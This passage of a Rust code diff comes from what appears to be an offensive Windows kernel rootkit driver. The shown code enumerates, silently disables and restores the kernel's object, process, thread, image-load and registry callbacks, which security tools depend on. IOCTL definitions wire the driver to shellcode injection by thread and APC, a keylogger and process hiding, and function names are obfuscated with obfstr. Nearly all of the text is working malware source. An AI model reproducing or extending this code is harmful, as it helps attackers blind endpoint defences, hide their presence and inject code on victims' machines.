let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
while next != current {
if !(*next).enabled && !next.is_null() && (*next).entry as u64 == callback_info[index].entry {
(*next).enabled = true;
callback_info.remove(index);
ExReleasePushLockExclusiveEx(lock, 0);
return STATUS_SUCCESS;
}
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
}
ExReleasePushLockExclusiveEx(lock, 0);
} else {
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
return STATUS_UNSUCCESSFUL;
}
STATUS_UNSUCCESSFUL
}
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
let object_type = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::ObRegister(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let lock = &(*object_type).type_lock as *const _ as *mut u64;
ExAcquirePushLockExclusiveEx(lock, 0);
let mut i = 0;
let index = (*target_callback).index;
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock();
while next != current {
if i == index {
if (*next).enabled {
let mut callback_restaure = CallbackRestaureOb {
index,
callback: (*target_callback).callback,
entry: (*next).entry as u64,
pre_operation: 0,
post_operation: 0
};
if let Some(pre_op) = (*next).pre_operation {
callback_restaure.pre_operation = pre_op as _;
}
if let Some(post_op) = (*next).post_operation {
callback_restaure.post_operation = post_op as _;
}
(*next).enabled = false;
callback_info.push(callback_restaure);
log::info!("Callback removed at index {}", index);
}
ExReleasePushLockExclusiveEx(lock, 0);
return STATUS_SUCCESS;
}
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
i += 1;
}
ExReleasePushLockExclusiveEx(lock, 0);
STATUS_UNSUCCESSFUL
}
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let object_type = match find_callback_address(&(*target_callback).callback) {
Some(CallbackResult::ObRegister(addr)) => addr,
_ => return STATUS_UNSUCCESSFUL,
};
let current = &mut ((*object_type).callback_list) as *mut _ as *mut OBCALLBACK_ENTRY;
let mut next = (*current).callback_list.Flink as *mut OBCALLBACK_ENTRY;
let mut list_objects = Vec::new();
while next != current {
let mut addrs = (0, 0);
if let Some(pre_op) = (*next).pre_operation {
addrs.0 = pre_op as u64;
}
if let Some(post_op) = (*next).post_operation {
addrs.1 = post_op as u64;
}
list_objects.push(((*next).enabled, addrs));
next = (*next).callback_list.Flink as *mut OBCALLBACK_ENTRY;
}
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data;
let mut current_index = 0;
for (i, (enabled, addrs)) in list_objects.iter().enumerate() {
if !enabled {
current_index += 1;
continue;
}
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let pre = addrs.0;
let post = addrs.1;
if pre > start_address as u64 && pre < end_address ||
post > start_address as u64 && post < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i as isize)).pre_operation = pre as usize;
(*callback_info.offset(i as isize)).post_operation = post as usize;
// Module index
(*callback_info.offset(i as isize)).index = current_index as u8;
*information += size_of::<CallbackInfoOutput>();
current_index += 1;
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
}
STATUS_SUCCESS
}
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
let callback_restaure = INFO_CALLBACK_RESTAURE_OB.lock();
let (mut ldr_data, module_count) = match return_module() {
Some(result) => result,
None => return STATUS_UNSUCCESSFUL
};
let start_entry = ldr_data;
for (i, callback) in callback_restaure.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address
|| callback.post_operation > start_address as u64 && callback.post_operation < end_address
{
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Module name
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
// Module address
(*callback_info.offset(i as isize)).pre_operation = callback.pre_operation as usize;
(*callback_info.offset(i as isize)).post_operation = callback.post_operation as usize;
// Module index
(*callback_info.offset(i as isize)).index = callback.index as u8;
*information += size_of::<CallbackInfoOutput>();
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
}
STATUS_SUCCESS
}
}

View File

@@ -4,96 +4,196 @@
use {
bitfield::bitfield,
ntapi::ntpsapi::PPS_ATTRIBUTE_LIST,
wdk_sys::{
ACCESS_MASK, HANDLE, KIRQL, KPROCESSOR_MODE, NTSTATUS, PACCESS_STATE,
PCUNICODE_STRING, PEPROCESS, PETHREAD, PHANDLE, PKAPC, PKIRQL, POBJECT_ATTRIBUTES,
POBJECT_TYPE, PPEB, PRKAPC, PSIZE_T, PULONG, PUNICODE_STRING, PVOID, SIZE_T, ULONG,
_DRIVER_OBJECT, KPRIORITY
},
shared::structs::LIST_ENTRY,
wdk_sys::*,
winapi::ctypes::c_void
};
bitfield! {
pub struct PS_PROTECTION(u8);
pub u8, type_, set_type_: 2, 0; // 3 bits
pub u8, audit, set_audit: 3; // 1 bit
pub u8, signer, set_signer: 7, 4; // 4 bits
pub mod structs {
use super::*;
use shared::vars::Callbacks;
#[repr(C)]
pub struct FULL_OBJECT_TYPE {
type_list: LIST_ENTRY,
name: UNICODE_STRING,
default_object: *mut c_void,
index: u8,
total_number_of_objects: u32,
pub total_number_of_handles: u32,
high_water_number_of_objects: u32,
high_water_number_of_handles: u32,
type_info: [u8; 0x78],
pub type_lock: _EX_PUSH_LOCK,
key: u32,
pub callback_list: LIST_ENTRY,
}
#[repr(C)]
pub struct OBCALLBACK_ENTRY {
pub callback_list: LIST_ENTRY,
operations: OB_OPERATION,
pub enabled: bool,
pub entry: *mut OB_CALLBACK,
object_type: POBJECT_TYPE,
pub pre_operation: POB_PRE_OPERATION_CALLBACK,
pub post_operation: POB_POST_OPERATION_CALLBACK,
lock: KSPIN_LOCK
}
#[repr(C)]
pub struct OB_CALLBACK {
version: u16,
operation_registration_count: u16,
registration_context: *mut c_void,
altitude_string: UNICODE_STRING,
entry_items: [OBCALLBACK_ENTRY; 1],
altitude_buffer: [u16; 1],
}
pub struct PROCESS_SIGNATURE {
pub signature_level: u8,
pub section_seginature_level: u8,
pub protection: PS_PROTECTION,
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModule {
pub section: *mut c_void,
pub mapped_base: *mut c_void,
pub image_base: *mut c_void,
pub size: u32,
pub flags: u32,
pub index: u8,
pub name_length: u8,
pub load_count: u8,
pub path_length: u8,
pub image_name: [u8; 256],
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModuleInformation {
pub modules_count: u32,
pub modules: [SystemModule; 256],
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct CM_CALLBACK {
pub list: LIST_ENTRY,
unknown1: [u64; 2],
context: u64,
pub function: u64,
altitude: UNICODE_STRING,
unknown2: [u64; 2],
}
bitfield! {
pub struct _EX_PUSH_LOCK(u64);
impl Debug;
u64;
locked, set_locked: 0;
waiting, set_waiting: 1;
waking, set_waking: 2;
multiple_shared, set_multiple_shared: 3;
shared, set_shared: 63, 4;
}
#[repr(C)]
union ExPushLockUnion {
struct_data: core::mem::ManuallyDrop<_EX_PUSH_LOCK>,
value: u64,
ptr: *mut c_void,
}
bitfield! {
pub struct PS_PROTECTION(u8);
pub u8, type_, set_type_: 2, 0; // 3 bits
pub u8, audit, set_audit: 3; // 1 bit
pub u8, signer, set_signer: 7, 4; // 4 bits
}
#[repr(C)]
#[derive(Default)]
pub struct CallbackRestaure {
pub index: usize,
pub callback: Callbacks,
pub address: u64,
}
#[repr(C)]
pub struct CallbackRestaureOb{
pub index: usize,
pub callback: Callbacks,
pub pre_operation: u64,
pub post_operation: u64,
pub entry: u64,
}
}
pub struct PROCESS_SIGNATURE {
pub signature_level: u8,
pub section_seginature_level: u8,
pub protection: PS_PROTECTION,
}
pub mod types {
use super::*;
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModule {
pub section: *mut c_void,
pub mapped_base: *mut c_void,
pub image_base: *mut c_void,
pub size: u32,
pub flags: u32,
pub index: u8,
pub name_length: u8,
pub load_count: u8,
pub path_length: u8,
pub image_name: [u8; 256],
}
// pub type OperationPre = unsafe extern "C" fn(*mut core::ffi::c_void, *mut OB_PRE_OPERATION_INFORMATION) -> i32;
// pub type OperationPost = unsafe extern "C" fn(*mut core::ffi::c_void, *mut _OB_POST_OPERATION_INFORMATION);
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModuleInformation {
pub modules_count: u32,
pub modules: [SystemModule; 256],
}
pub type DRIVER_INITIALIZE = core::option::Option<
unsafe extern "system" fn(
pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
DriverObject: &mut _DRIVER_OBJECT,
RegistryPath: PCUNICODE_STRING,
) -> NTSTATUS,
>;
) -> NTSTATUS>;
pub type ZwCreateThreadExType = unsafe extern "system" fn (
ThreadHandle: PHANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: POBJECT_ATTRIBUTES,
ProcessHandle: HANDLE,
StartRoutine: PVOID,
Argument: PVOID,
CreateFlags: SIZE_T,
ZeroBits: usize,
StackSize: usize,
MaximumStackSize: usize,
AttributeList: PPS_ATTRIBUTE_LIST
) -> NTSTATUS;
pub type ZwCreateThreadExType = unsafe extern "system" fn (
ThreadHandle: PHANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: POBJECT_ATTRIBUTES,
ProcessHandle: HANDLE,
StartRoutine: PVOID,
Argument: PVOID,
CreateFlags: SIZE_T,
ZeroBits: usize,
StackSize: usize,
MaximumStackSize: usize,
AttributeList: PPS_ATTRIBUTE_LIST
) -> NTSTATUS;
pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn (
ProcessHandle: HANDLE,
BaseAddress: *mut PVOID,
RegionSize: PSIZE_T,
NewProtect: ULONG,
OldProtect: PULONG
) -> NTSTATUS;
pub type ZwProtectVirtualMemoryType = unsafe extern "system" fn (
ProcessHandle: HANDLE,
BaseAddress: *mut PVOID,
RegionSize: PSIZE_T,
NewProtect: ULONG,
OldProtect: PULONG
) -> NTSTATUS;
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
apc: PKAPC,
) -> NTSTATUS>;
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
apc: PKAPC,
) -> NTSTATUS>;
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
normal_context: *mut PVOID,
system_argument1: *mut PVOID,
system_argument2: *mut PVOID
) -> NTSTATUS>;
pub type PKNORMAL_ROUTINE = Option<unsafe extern "system" fn(
normal_context: *mut PVOID,
system_argument1: *mut PVOID,
system_argument2: *mut PVOID
) -> NTSTATUS>;
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
apc: PKAPC,
normal_routine: *mut PKNORMAL_ROUTINE,
normal_context: *mut PVOID,
system_argument1: *mut PVOID,
system_argument2: *mut PVOID
);
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
apc: PKAPC,
normal_routine: *mut PKNORMAL_ROUTINE,
normal_context: *mut PVOID,
system_argument1: *mut PVOID,
system_argument2: *mut PVOID
);
}
pub mod enums {
#[repr(C)]
pub enum KAPC_ENVIROMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
}
}
extern "system" {
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
@@ -131,10 +231,10 @@ extern "system" {
pub fn KeInitializeApc(
apc: PRKAPC,
thread: PETHREAD,
environment: KAPC_ENVIROMENT,
kernel_routine: PKKERNEL_ROUTINE,
rundown_routine: PKRUNDOWN_ROUTINE,
normal_routine: PKNORMAL_ROUTINE,
environment: enums::KAPC_ENVIROMENT,
kernel_routine: types::PKKERNEL_ROUTINE,
rundown_routine: types::PKRUNDOWN_ROUTINE,
normal_routine: types::PKNORMAL_ROUTINE,
apc_mode: KPROCESSOR_MODE,
normal_context: PVOID
);
@@ -150,11 +250,3 @@ extern "system" {
increment: KPRIORITY
) -> bool;
}
#[repr(C)]
pub enum KAPC_ENVIROMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
}

View File

@@ -6,9 +6,11 @@ use {
core::{ffi::c_void, ptr::null_mut, mem::{size_of, transmute}},
crate::{
includes::{
MmCopyVirtualMemory, KeInitializeApc, ZwCreateThreadExType, ZwProtectVirtualMemoryType,
KAPC_ENVIROMENT::OriginalApcEnvironment, PKNORMAL_ROUTINE, KeTestAlertThread,
PsGetCurrentThread, KeInsertQueueApc
types::{
ZwProtectVirtualMemoryType, ZwCreateThreadExType, PKNORMAL_ROUTINE
},
MmCopyVirtualMemory, KeInitializeApc, KeTestAlertThread, PsGetCurrentThread, KeInsertQueueApc,
enums::KAPC_ENVIROMENT::OriginalApcEnvironment,
},
process::Process,
utils::{find_zw_function, read_file, InitializeObjectAttributes, find_thread_alertable}

View File

@@ -12,7 +12,7 @@ use {
},
},
crate::{
includes::PROCESS_SIGNATURE,
includes::structs::PROCESS_SIGNATURE,
utils::offsets::{get_offset_signature, get_offset_token, get_offset_unique_process_id},
},
};

View File

@@ -1,7 +1,7 @@
use {
crate::{*,
callbacks::Callback, driver::Driver,
injection::InjectionShellcode, keylogger::set_keylogger_state,
crate::{
*, callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList},
driver::Driver, injection::InjectionShellcode, keylogger::set_keylogger_state,
module::Module, process::Process, thread::Thread
},
alloc::boxed::Box,
@@ -100,21 +100,29 @@ lazy_static! {
ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, Callback::search_module, CallbackInfoInput, CallbackInfoOutput, &mut information) };
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
let mut information = 0;
let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
unsafe { (*irp).IoStatus.Information = information as u64 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_REMOVE_CALLBACK");
let status = unsafe { handle_callback!(stack, Callback::remove_callback, CallbackInfoInput) };
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);
ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
log::info!("Received IOCTL_RESTORE_CALLBACK");
let status = unsafe { handle_callback!(stack, Callback::restore_callback, CallbackInfoInput) };
let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
unsafe { (*irp).IoStatus.Information = 0 };
status
}) as IoctlHandler);

View File

@@ -156,28 +156,85 @@ macro_rules! handle_module {
/// Macro to handle callback-related operations.
///
/// Executes the given action based on the provided parameters and returns the status.
///
#[macro_export]
macro_rules! handle_callback {
($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
Ok(buffer) => buffer,
Err(status) => return status,
};
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
use shared::vars::Callbacks;
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
Ok(buffer) => buffer,
Err(status) => return status,
};
let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) {
Ok(buffer) => buffer,
Err(status) => return status,
};
let mut status = 0;
match $ioctl {
IOCTL_ENUMERATE_CALLBACK => {
status = match (*input_buffer).callback {
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
};
},
IOCTL_ENUMERATE_REMOVED_CALLBACK => {
status = match (*input_buffer).callback {
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
};
},
_ => {}
}
$action(input_buffer, output_buffer, $information)
status
}};
($irp:expr, $action:expr, $type_:ty) => {{
($irp:expr, $type_:ty, $ioctl:expr) => {{
use shared::vars::Callbacks;
let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
Ok(buffer) => buffer,
Err(status) => return status,
};
$action(input_buffer)
let mut status = 0;
match $ioctl {
IOCTL_REMOVE_CALLBACK => {
status = match (*input_buffer).callback {
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::remove_callback(input_buffer),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::remove_callback(input_buffer),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::remove_callback(input_buffer),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::remove_callback(input_buffer),
Callbacks::ObProcess => CallbackOb::remove_callback(input_buffer),
Callbacks::ObThread => CallbackOb::remove_callback(input_buffer),
};
},
IOCTL_RESTORE_CALLBACK => {
status = match (*input_buffer).callback {
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::restore_callback(input_buffer),
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::restore_callback(input_buffer),
Callbacks::PsSetLoadImageNotifyRoutine => Callback::restore_callback(input_buffer),
Callbacks::CmRegisterCallbackEx => CallbackRegistry::restore_callback(input_buffer),
Callbacks::ObProcess => CallbackOb::restore_callback(input_buffer),
Callbacks::ObThread => CallbackOb::restore_callback(input_buffer),
};
},
_ => {}
}
status
}};
}

View File

@@ -1,5 +1,5 @@
use {
crate::{includes::SystemModuleInformation, process::Process},
crate::{includes::structs::SystemModuleInformation, process::Process},
alloc::{string::String, vec, vec::Vec},
core::{
ffi::{c_void, CStr},
@@ -9,16 +9,13 @@ use {
},
ntapi::{
ntexapi::{SystemModuleInformation, SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION},
ntzwapi::ZwQuerySystemInformation
ntzwapi::ZwQuerySystemInformation,
ntldr::LDR_DATA_TABLE_ENTRY,
},
obfstr::obfstr,
wdk_sys::{
*,
ntddk::{
ExAllocatePool2, ExFreePool, KeStackAttachProcess, KeUnstackDetachProcess,
ZwMapViewOfSection, ZwOpenSection, ZwReadFile, ZwClose, ZwUnmapViewOfSection,
ZwCreateFile, ZwQueryInformationFile, PsIsThreadTerminating
},
ntddk::*,
_FILE_INFORMATION_CLASS::FileStandardInformation,
_SECTION_INHERIT::ViewUnmap
},
@@ -613,6 +610,32 @@ pub fn read_file(path: &String) -> Result<Vec<u8>, NTSTATUS> {
return Ok(shellcode)
}
/// Responsible for returning information on the modules loaded.
///
/// # Returns
/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules there are in PsLoadedModuleList.
///
pub fn return_module() -> Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
let ps_module = crate::uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
let func = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY };
if func.is_null() {
log::error!("PsLoadedModuleList is null");
return None;
}
let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
let mut module_count = 0;
let start_entry = list_entry;
while !list_entry.is_null() && list_entry != func {
module_count += 1;
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
}
Some((start_entry, module_count))
}
/// Validates if the given address is within the kernel memory range.
///
/// # Parameters

View File

@@ -35,15 +35,15 @@ pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NE
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_ENUMERATE_REMOVED_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
// Registry
pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
// Module
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
// Injection
pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x819, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_TESTE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_INJECTION_APC: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -1,3 +1,4 @@
extern crate alloc;
use crate::vars::Callbacks;
// Callback Information for Enumeration (Output)
@@ -7,6 +8,8 @@ pub struct CallbackInfoOutput {
pub address: usize,
pub name: [u16; 256],
pub index: u8,
pub pre_operation: usize,
pub post_operation: usize
}
// Callback Information for Action (Input)
@@ -16,12 +19,3 @@ pub struct CallbackInfoInput {
pub index: usize,
pub callback: Callbacks
}
//
#[repr(C)]
#[derive(Debug)]
pub struct CallbackRestaure {
pub index: usize,
pub callback: Callbacks,
pub address: u64,
}

View File

@@ -23,6 +23,7 @@ pub mod injection;
// Custom LIST_ENTRY
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct LIST_ENTRY {
pub Flink: *mut LIST_ENTRY,
pub Blink: *mut LIST_ENTRY,

View File

@@ -16,20 +16,13 @@ pub struct ProcessListInfo {
pub pids: usize,
}
// Stores information about the target process.
// Stores information about the target process
#[repr(C)]
#[derive(Debug, Default)]
pub struct TargetProcess {
pub pid: usize,
}
// Anti-create Process
#[repr(C)]
#[derive(Debug, Default)]
pub struct AntiCreateProcess {
pub name: &'static str
}
// Process Info Hide
#[repr(C)]
#[derive(Debug, Default)]

View File

@@ -2,11 +2,15 @@ pub const MAX_PIDS: usize = 256;
pub const MAX_DRIVER: usize = 256;
pub const MAX_TIDS: usize = 256;
#[derive(Debug, Copy, Clone, PartialEq)]
#[derive(Debug, Copy, Clone, PartialEq, Default)]
pub enum Callbacks {
#[default]
PsSetCreateProcessNotifyRoutine,
PsSetCreateThreadNotifyRoutine,
PsSetLoadImageNotifyRoutine
PsSetLoadImageNotifyRoutine,
CmRegisterCallbackEx,
ObProcess,
ObThread,
}
#[derive(Debug)]